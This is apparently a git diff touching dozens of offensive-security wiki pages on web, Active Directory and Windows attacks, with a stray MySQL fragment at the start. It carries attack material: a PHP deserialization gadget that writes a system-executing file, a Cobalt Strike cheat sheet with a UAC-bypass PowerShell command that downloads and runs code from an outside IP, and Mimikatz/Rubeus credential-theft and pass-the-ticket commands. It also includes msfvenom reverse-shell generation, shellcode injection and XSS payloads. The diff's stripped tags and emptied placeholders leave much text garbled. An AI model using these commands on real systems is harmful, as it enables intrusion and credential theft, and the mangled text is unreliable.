mysql -u --password= -h localhost -e "use wordpress;UPDATE Knowing how a Wordpress plugin can expose functionality is key in order to find vulnerabilities on its functionality. You can find how a plugin might expose functionality in the following bullet points and some example of vulnerable plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). -- **`wp_ajax`** +- **`wp_ajax`** One of the ways a plugin can expose functions to uses if via AJAX handlers. These ones could contain logic, authorization, or authentication bugs. Moreover, it's kind of frquelty that these functions are going to base both the authentication and authorization in the existence of a wordpress nonce which **any user authenticated in the Wordpress instance might have** (independently of its role). diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md index d33a95bf0..f69aa548d 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -29,7 +29,7 @@ Other specific delimiters might be found following this process: ### **Encodings** -Different HTTP servers and proxies like Nginx, Node, and CloudFront decode delimiters differently, leading to inconsistencies across CDNs and origin servers that could be exploited. For example, if the web server perform this transformation `/myAccount%3Fparam` → `/myAccount?param` but the cache server keeps as key the path `/myAccount%3Fparam`, there is an inconsistency. +Different HTTP servers and proxies like Nginx, Node, and CloudFront decode delimiters differently, leading to inconsistencies across CDNs and origin servers that could be exploited. For example, if the web server perform this transformation `/myAccount%3Fparam` → `/myAccount?param` but the cache server keeps as key the path `/myAccount%3Fparam`, there is an inconsistency. A way to check for these inconsistencies is to send requests URL encoding different chars after loading the path without any encoding and check if the encoded path response came from the cached response. diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index af33957a0..1b32d9395 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -97,8 +97,8 @@ background: #F00; If you have identified an **XSS attack that requires a user to click** on some element to **trigger** the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link.\ Example:\ -_You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters._\ -\_\_An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**. +You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters.\ +An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**. ## Strategies to Mitigate Clickjacking diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md index 3fe8460f4..a0f59c0a4 100644 --- a/src/pentesting-web/crlf-0d-0a.md +++ b/src/pentesting-web/crlf-0d-0a.md @@ -161,11 +161,11 @@ If a platform is taking **data from an HTTP request and using it without sanitiz For example, in the original discovered vuln, cache keys were used to return the IP and port a user shuold connect to, and attackers were able to **inject memcache comands** that would **poison** the **cache to send the vistims details** (usrnames and passwords included) to the attacker servers: -
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop
+
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop
Moreover, researchers also discovered that they could desync the memcache responses to send the attackers ip and ports to users whose email the attacker didn't know: -
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop
+
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop
### How to Prevent CRLF / HTTP Header Injections in Web Applications diff --git a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md index eb57e7e6e..d688bb286 100644 --- a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md +++ b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md @@ -52,7 +52,7 @@ In my case, I didn’t have anything like that, but there was inside the **same a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}} ``` -- Now, we can **create and write a file**, however, the user **couldn’t write in any folder inside the web server**. So, as you can see in the payload, PHP calling **`system`** with some **base64** is created in **`/tmp/a.php`**. Then, we can **reuse the first type of payload** that we used to as LFI to load the composer loader of the other webapp t**o load the generated `/tmp/a.php`** file. Just add it to the deserialization gadget: +- Now, we can **create and write a file**, however, the user **couldn’t write in any folder inside the web server**. So, as you can see in the payload, PHP calling **`system`** with some **base64** is created in **`/tmp/a.php`**. Then, we can **reuse the first type of payload** that we used to as LFI to load the composer loader of the other webapp t**o load the generated `/tmp/a.php`** file. Just add it to the deserialization gadget: ```php a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}} diff --git a/src/pentesting-web/deserialization/ruby-class-pollution.md b/src/pentesting-web/deserialization/ruby-class-pollution.md index b582d8115..f6b960948 100644 --- a/src/pentesting-web/deserialization/ruby-class-pollution.md +++ b/src/pentesting-web/deserialization/ruby-class-pollution.md @@ -154,7 +154,7 @@ JSONMergerApp.run(json_input) ### ActiveSupport’s `deep_merge` -This isn't vulnerable by default but can be made vulnerable with something like: +This isn't vulnerable by default but can be made vulnerable with something like: ```ruby # Method to merge additional data into the object using ActiveSupport deep_merge diff --git a/src/pentesting-web/email-injections.md b/src/pentesting-web/email-injections.md index 43cf55387..036d7b32a 100644 --- a/src/pentesting-web/email-injections.md +++ b/src/pentesting-web/email-injections.md @@ -91,11 +91,11 @@ The symbols: **+, -** and **{}** in rare occasions can be used for tagging and i ### Whitelist bypass -
https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
+
https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
### Quotes -
https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
+
https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
### IPs @@ -149,7 +149,7 @@ x@xn--svg/-9x6 → x@` as `=3e` and `null` as `=00` + - Note the encoded `@` as =40, the encoded `>` as `=3e` and `null` as `=00` - It'll send the verification email to `collab@psres.net` - Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com` - Same trick as before but adding some regular quote at the beginning and encoded qoute `=22` before the encoded `@` and then starting and close some qoutes before the next email to fix the syntax used internally by Zendesk @@ -177,7 +177,7 @@ Some services like **github** or **salesforce allows** you to create an **email ### Account-Takeover If a **SSO service** allows you to **create an account without verifying the given email address** (like **salesforce**) and then you can use that account to **login in a different service** that **trusts** salesforce, you could access any account.\ -_Note that salesforce indicates if the given email was or not verified but so the application should take into account this info._ +_Note that salesforce indicates if the given email was or not verified but so the application should take into account this info._ ## Reply-To diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 61dd012bc..8dea41ca9 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -681,7 +681,7 @@ lfi2rce-via-eternal-waiting.md If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error). **I don't know how is this useful but it might be.**\ -_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._ +_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md index 74ec46194..5e4e09254 100644 --- a/src/pentesting-web/hacking-with-cookies/README.md +++ b/src/pentesting-web/hacking-with-cookies/README.md @@ -206,7 +206,7 @@ In the RFC2109 it's indicated that a **comma can be used as a separator between #### Bypassing value analysis with cookie splitting -Finally different backdoors would join in a string different cookies passed in different cookie headers like in: +Finally different backdoors would join in a string different cookies passed in different cookie headers like in: ``` GET / HTTP/1.1 diff --git a/src/pentesting-web/orm-injection.md b/src/pentesting-web/orm-injection.md index dc48cb031..752eb4cbe 100644 --- a/src/pentesting-web/orm-injection.md +++ b/src/pentesting-web/orm-injection.md @@ -207,9 +207,9 @@ await prisma.article.findMany({ ``` > [!CAUTION] -> Using operations like `startsWith` it's possible to leak information. +> Using operations like `startsWith` it's possible to leak information. -- **Many-to-many relational filtering bypassing filtering:** +- **Many-to-many relational filtering bypassing filtering:** ```javascript app.post("/articles", async (req, res) => { diff --git a/src/pentesting-web/phone-number-injections.md b/src/pentesting-web/phone-number-injections.md index fd00f50b1..bc2600fc4 100644 --- a/src/pentesting-web/phone-number-injections.md +++ b/src/pentesting-web/phone-number-injections.md @@ -4,13 +4,13 @@ It's possible to **add strings at the end the phone number** that could be used to exploit common injections (XSS, SQLi, SSRF...) or even to bypass protections: -
https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0
+
https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0
-
https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0
+
https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0
**OTP Bypass / Bruteforce** would work like this: -
https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0
+
https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0
## References diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md index 9933e4aff..34455e8ad 100644 --- a/src/pentesting-web/race-condition.md +++ b/src/pentesting-web/race-condition.md @@ -225,7 +225,7 @@ while "objetivo" not in response.text: ### Improving Single Packet Attack -In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms. +In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms. Note that although this improvement makes the attack more reliable in RC that requiers hundreds/thousands of packets to arrive at the same time, it might also have some software limitations. Some popular HTTP servers like Apache, Nginx and Go have a strict `SETTINGS_MAX_CONCURRENT_STREAMS` setting to 100, 128 and 250. However, other like NodeJS and nghttp2 has it unlimited.\ This basically mean that Apache will only consider 100 HTTP connections from a single TCP connection (limiting this RC attack). diff --git a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md index ad7c79c0b..0e38d9e51 100644 --- a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md +++ b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md @@ -17,7 +17,7 @@ And, when the page is served, this fragment will be evaluated and replaced with The decision of when to use SSI, and when to have your page entirely generated by some program, is usually a matter of how much of the page is static, and how much needs to be recalculated every time the page is served. SSI is a great way to add small pieces of information, such as the current time - shown above. But if a majority of your page is being generated at the time that it is served, you need to look for some other solution. -You can infer the presence of SSI if the web application uses files with the extensions**`.shtml`, `.shtm` or `.stm`**, but it's not only the case. +You can infer the presence of SSI if the web application uses files with the extensions**`.shtml`, `.shtm` or `.stm`**, but it's not only the case. A typical SSI expression has the following format: diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index fb8d60cf0..25acf6b25 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -21,7 +21,7 @@ local all all trust ``` _Note that this configuration is commonly used to modify the password of a db user when the admin forget it, so sometimes you may find it._\ -_Note also that the file pg_hba.conf is readable only by postgres user and group and writable only by postgres user._ +_Note also that the file pg_hba.conf is readable only by postgres user and group and writable only by postgres user._ This case is **useful if** you **already** have a **shell** inside the victim as it will allow you to connect to postgresql database. diff --git a/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md b/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md index a761296e4..919cfe491 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md @@ -30,7 +30,7 @@ SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; plpgsql | {admin=U/admin} ``` -Note that for the following script to work **the function `dblink` needs to exist**. If it doesn't you could try to create it with +Note that for the following script to work **the function `dblink` needs to exist**. If it doesn't you could try to create it with ```sql CREATE EXTENSION dblink; diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md index 154388968..e75b72881 100644 --- a/src/pentesting-web/websocket-attacks.md +++ b/src/pentesting-web/websocket-attacks.md @@ -82,7 +82,7 @@ You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://g - **Burp Suite** supports MitM websockets communication in a very similar way it does it for regular HTTP communication. - The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** will allow you to manage better Websocket communications in Burp by getting the **history**, setting **interception rules**, using **match and replace** rules, using **Intruder** and **AutoRepeater.** - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Short for "**WebSocket/Socket.io Proxy**", this tool, written in Node.js, provides a user interface to **capture, intercept, send custom** messages and view all WebSocket and Socket.IO communications between the client and server. -- [**wsrepl**](https://github.com/doyensec/wsrepl) is an **interactive websocket REPL** designed specifically for penetration testing. It provides an interface for observing **incoming websocket messages and sending new ones**, with an easy-to-use framework for **automating** this communication. +- [**wsrepl**](https://github.com/doyensec/wsrepl) is an **interactive websocket REPL** designed specifically for penetration testing. It provides an interface for observing **incoming websocket messages and sending new ones**, with an easy-to-use framework for **automating** this communication. - [**https://websocketking.com/**](https://websocketking.com/) it's a **web to communicate** with other webs using **websockets**. - [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) among other types of communications/protocols, it provides a **web to communicate** with other webs using **websockets.** diff --git a/src/pentesting-web/xs-search/connection-pool-by-destination-example.md b/src/pentesting-web/xs-search/connection-pool-by-destination-example.md index 9ea18a9a9..5ef815750 100644 --- a/src/pentesting-web/xs-search/connection-pool-by-destination-example.md +++ b/src/pentesting-web/xs-search/connection-pool-by-destination-example.md @@ -12,7 +12,7 @@ Let's see how this exploit work: - The attacker will inject a note with as many **` [!NOTE] diff --git a/src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md b/src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md index 6459c2c7b..40194e34e 100644 --- a/src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md +++ b/src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md @@ -15,7 +15,7 @@ The idea behind this exploit is: - The posts are loaded alphabetically - An **attacker** can **inject** a **post** starting with **"A"**, then some **HTML tag** (like a big **``\*\*** \***\*or \*\*\*\*\*\***`--!>`\*\*_ +_**Note: A HTML comment can be closed using\*\*\*\*\*\***\***\*`-->`\*\***\***\*or \*\*\*\*\*\***`--!>`\*\*_ In this case and if no black/whitelisting is used, you could use payloads like: @@ -336,7 +336,7 @@ javascript:%61%6c%65%72%74%28%31%29 //URL encode javascript:alert(1) javascript:alert(1) javascript:alert(1) -javascriptΪlert(1) +javascript:alert(1) java //Note the new line script:alert(1) @@ -558,8 +558,8 @@ loop`````````````` ```markup
diff --git a/src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md b/src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md index ac8b12b36..4e56708cb 100644 --- a/src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md +++ b/src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md @@ -602,7 +602,7 @@ def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top > [!NOTE] > There is a common alternative to `top-k` called [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), also known as nucleus sampling, which instead of getting k samples with the most probability, it **organizes** all the resulting **vocabulary** by probabilities and **sums** them from the highest probability to the lowest until a **threshold is reached**. > -> Then, **only those words** of the vocabulary will be considered according to their relative probabilities +> Then, **only those words** of the vocabulary will be considered according to their relative probabilities > > This allows to not need to select a number of `k` samples, as the optimal k might be different on each case, but **only a threshold**. > diff --git a/src/todo/radio-hacking/flipper-zero/fz-nfc.md b/src/todo/radio-hacking/flipper-zero/fz-nfc.md index 09b85d577..dd8679016 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-nfc.md +++ b/src/todo/radio-hacking/flipper-zero/fz-nfc.md @@ -30,7 +30,7 @@ Flipper Zero can only read an UID, SAK, ATQA, and stored data on bank cards **wi Bank card reading screenFor bank cards, Flipper Zero can only read data **without saving and emulating it**. -
+
#### Unknown cards @@ -38,13 +38,13 @@ When Flipper Zero is **unable to determine NFC card's type**, then only an **UID Unknown card reading screenFor unknown NFC cards, Flipper Zero can emulate only an UID. -
+
### NFC cards types B, F, and V For **NFC cards types B, F, and V**, Flipper Zero can only **read and display an UID** without saving it. -
+
## Actions diff --git a/src/windows-hardening/active-directory-methodology/bloodhound.md b/src/windows-hardening/active-directory-methodology/bloodhound.md index 042fa9843..acb214cf7 100644 --- a/src/windows-hardening/active-directory-methodology/bloodhound.md +++ b/src/windows-hardening/active-directory-methodology/bloodhound.md @@ -92,7 +92,7 @@ group3r.exe -f [**PingCastle**](https://www.pingcastle.com/documentation/) **evaluates the security posture of an AD environment** and provides a nice **report** with graphs. -To run it, can execute the binary `PingCastle.exe` and it will start an **interactive session** presenting a menu of options. The default option to use is **`healthcheck`** which will establish a baseline **overview** of the **domain**, and find **misconfigurations** and **vulnerabilities**. +To run it, can execute the binary `PingCastle.exe` and it will start an **interactive session** presenting a menu of options. The default option to use is **`healthcheck`** which will establish a baseline **overview** of the **domain**, and find **misconfigurations** and **vulnerabilities**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md index 03871e915..57cb93fe0 100644 --- a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md +++ b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md @@ -127,6 +127,6 @@ If you can perform a MitM attack to a computer and inject HTML in a page he will ## Cracking NTLMv1 If you can capture [NTLMv1 challenges read here how to crack them](../ntlm/index.html#ntlmv1-attack).\ -_Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_ +_Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_ {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md index 3968d1ac0..c0f761342 100644 --- a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md @@ -14,14 +14,14 @@ You can **find Computer objects with this attribute** checking if the [userAccou ## Powerview Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc ## ADSearch -ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem +
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem # Export tickets with Mimikatz privilege::debug sekurlsa::tickets /export #Recommended way kerberos::list /export #Another way # Monitor logins and export new tickets -.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs
+.\Rubeus.exe monitor /targetuser: /interval:10 #Check every 10s for new TGTs Load the ticket of Administrator (or victim user) in memory with **Mimikatz** or **Rubeus for a** [**Pass the Ticket**](pass-the-ticket.md)**.**\ More info: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\ diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md index 2ad645c24..56e622654 100644 --- a/src/windows-hardening/cobalt-strike.md +++ b/src/windows-hardening/cobalt-strike.md @@ -19,7 +19,7 @@ The beacons of these listeners don't need to talk to the C2 directly, they can c #### Generate payloads in files -`Attacks -> Packages ->` +`Attacks -> Packages ->` * **`HTMLApplication`** for HTA files * **`MS Office Macro`** for an office document with a macro @@ -37,7 +37,7 @@ If you already has the file you want to host in a web sever just go to `Attacks ### Beacon Options
# Execute local .NET binary
-execute-assembly </path/to/executable.exe>
+execute-assembly 
 
 # Screenshots
 printscreen    # Take a single screenshot via PrintScr method
@@ -56,7 +56,7 @@ portscan [targets] [ports] [arp|icmp|none] [max connections]
 # Powershell
 # Import Powershell module
 powershell-import C:\path\to\PowerView.ps1
-powershell <just write powershell cmd here>
+powershell 
 
 # User impersonation
 ## Token generation with creds
@@ -66,14 +66,14 @@ rev2self # Stop using token generated with make_token
 ## The use of make_token generates event 4624: An account was successfully logged on.  This event is very common in a Windows domain, but can be narrowed down by filtering on the Logon Type.  As mentioned above, it uses LOGON32_LOGON_NEW_CREDENTIALS which is type 9.
 
 # UAC Bypass
-elevate svc-exe <listener>
-elevate uac-token-duplication <listener>
+elevate svc-exe 
+elevate uac-token-duplication 
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
 
 ## Steal token from pid
 ## Like make_token but stealing the token from a process
 steal_token [pid] # Also, this is useful for network actions, not local actions
-## From the API documentation we know that this logon type "allows the caller to clone its current token". This is why the Beacon output says Impersonated <current_username> - it's impersonating our own cloned token.
+## From the API documentation we know that this logon type "allows the caller to clone its current token". This is why the Beacon output says Impersonated  - it's impersonating our own cloned token.
 ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
 rev2self # Stop using token from steal_token
 
@@ -91,36 +91,36 @@ pth [pid] [arch] [DOMAIN\user] [NTLM hash]
 pth [DOMAIN\user] [NTLM hash]
 
 ## Pass the hash through mimikatz
-mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
+mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:"powershell -w hidden"
 ## Withuot /run, mimikatz spawn a cmd.exe, if you are running as a user with Desktop, he will see the shell (if you are running as SYSTEM you are good to go)
-steal_token <pid> #Steal token from process created by mimikatz
+steal_token  #Steal token from process created by mimikatz
 
 ## Pass the ticket
 ## Request a ticket
-execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
+execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec
 ## Create a new logon session to use with the new ticket (to not overwrite the compromised one)
-make_token <domain>\<username> DummyPass
-## Write the ticket in the attacker machine from a poweshell session & load it
+make_token \ DummyPass
+## Write the ticket in the attacker machine from a poweshell session & load it
 [System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
 kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
 
 ## Pass the ticket from SYSTEM
 ## Generate a new process with the ticket
-execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
+execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
 ## Steal the token from that process
-steal_token <pid>
+steal_token 
 
 ## Extract ticket + Pass the ticket
 ### List tickets
 execute-assembly C:\path\Rubeus.exe triage
 ### Dump insteresting ticket by luid
-execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
+execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid: /nowrap
 ### Create new logon session, note luid and processid
 execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
 ### Insert ticket in generate logon session
 execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
 ### Finally, steal the token from that new process
-steal_token <pid>
+steal_token 
 
 # Lateral Movement
 ## If a token was created it will be used
@@ -157,12 +157,12 @@ beacon> spawn metasploit
 
 # Pass session to Metasploit - Through shellcode injection
 ## On metasploit host
-msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
+msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw -o /tmp/msf.bin
 ## Run msfvenom and prepare the multi/handler listener
 
 ## Copy bin file to cobalt strike host
 ps
-shinject <pid> x64 C:\Payloads\msf.bin #Inject metasploit shellcode in a x64 process
+shinject  x64 C:\Payloads\msf.bin #Inject metasploit shellcode in a x64 process
 
 # Pass metasploit session to cobalt strike
 ## Fenerate stageless Beacon shellcode, go to Attacks > Packages > Windows Executable (S), select the desired listener, select Raw as the Output type and select Use x64 payload.
diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md
index 98930bba2..2bf9971f5 100644
--- a/src/windows-hardening/ntlm/README.md
+++ b/src/windows-hardening/ntlm/README.md
@@ -83,7 +83,7 @@ Nowadays is becoming less common to find environments with Unconstrained Delegat
 
 You could abuse some credentials/sessions you already have on the AD to **ask the printer to authenticate** against some **host under your control**. Then, using `metasploit auxiliary/server/capture/smb` or `responder` you can **set the authentication challenge to 1122334455667788**, capture the authentication attempt, and if it was done using **NTLMv1** you will be able to **crack it**.\
 If you are using `responder` you could try to \*\*use the flag `--lm` \*\* to try to **downgrade** the **authentication**.\
-_Note that for this technique the authentication must be performed using NTLMv1 (NTLMv2 is not valid)._
+_Note that for this technique the authentication must be performed using NTLMv1 (NTLMv2 is not valid)._
 
 Remember that the printer will use the computer account during the authentication, and computer accounts use **long and random passwords** that you **probably won't be able to crack** using common **dictionaries**. But the **NTLMv1** authentication **uses DES** ([more info here](#ntlmv1-challenge)), so using some services specially dedicated to cracking DES you will be able to crack it (you could use [https://crack.sh/](https://crack.sh) or [https://ntlmv1.com/](https://ntlmv1.com) for example).
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md
index bdaac5e23..f32121647 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/README.md
@@ -506,7 +506,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
 If you are having this error (for example with SSDPSRV):
 
 _System error 1058 has occurred._\
-_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._
+_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._
 
 You can enable it using
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
index ffee84a91..e2c658848 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
@@ -10,7 +10,7 @@ As the values of HKCU can be modified by the users **COM Hijacking** could be us
 - where the _Result_ is **NAME NOT FOUND**.
 - and the _Path_ ends with **InprocServer32**.
 
-Once you have decided which not existent COM to impersonate execute the following commands. _Be careful if you decide to impersonate a COM that is loaded every few seconds as that could be overkill._ 
+Once you have decided which not existent COM to impersonate execute the following commands. _Be careful if you decide to impersonate a COM that is loaded every few seconds as that could be overkill._
 
 ```bash
